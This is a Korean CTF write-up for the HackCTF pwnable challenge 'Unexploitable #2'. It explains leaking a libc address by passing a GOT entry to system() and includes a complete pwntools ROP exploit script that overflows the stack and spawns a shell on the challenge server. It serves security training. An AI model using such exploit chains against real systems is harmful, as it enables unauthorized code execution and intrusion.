WAR GAME/HackCTF

[HackCTF : Pwnable] Unexploitable #2 풀이 (64bit, system)

jir4vvit 2021. 4. 15. 17:38

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

이런 시리즈류의 문제는 잘 모르겠으면 그 다음 문제와 비교하여 뭐가 달라졌는지 확인하면

큰 힌트가 될 수 있다. 

 

아 그리고 system함수로 leak을 할 수 있는 걸 처음 알았다.


주어진 파일은 문제파일 바이너리

 

 

Analysis

일단 실행

귀신같이 fflush로 문제푼건 어떻게 알고...ㅎ

 

IDA

1이랑 코드가 거의 똑같다. 대신 fflush가 없다.

사실 이 문제 시리즈 3을 봤는데, 거기엔 system@plt가 없다고 했다. 그래서 system함수를 이용하여 문제를 푸는구나~라고 생각하고 system함수에 집중하였다. 

 

How to exploit

system 함수의 인자로는 명령어가 들어간다. 근데... 평범한 문자열..? 이 들어간다면 어떻게 될까

#include <stdlib.h>
#include <stdio.h>
 
int main(void)
{
	system("leak");
	return 0;
}

 

이렇게 system함수를 이용해서 leak하고, libc base 구한 다음 ROP 슈슈슉 하면 될 것 같다!!!!

 

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

난 맨날 leak한거 가져오는거 헷갈려한다. ㅎ;;

Let's exploit

이거 근데 로컬에서 하면 저 에러가 안뜬다... 그래서 고생 좀 했다.

저번 문제(j0nhyun9's secret인가)도 그렇고... 로컬 좀 이상하면(?) 리모트도 바로 해보는 습관을 길러야겠다.

from pwn import *

#p = process('./Unexploitable_2')
p = remote('ctf.j0n9hyun.xyz', 3029)
e = ELF('./Unexploitable_2')

system_plt = e.plt['system']
system_got = e.got['system']
pop_rdi = 0x400773
main = 0x40068c

payload = ''
payload += 'a' * (0x10+0x8)
payload += p64(pop_rdi)
payload += p64(system_got)
payload += p64(system_plt)
payload += p64(main)

p.recvuntil('!\n')
p.sendline(payload)

#p.recvline()
p.recvuntil('1: ')
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('system_addr : '+hex(leak))

binsh = leak + 0x1479c7


payload = ''
payload += 'a' * (0x10+0x8)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

p.recvuntil('!\n')
p.sendline(payload)


p.interactive()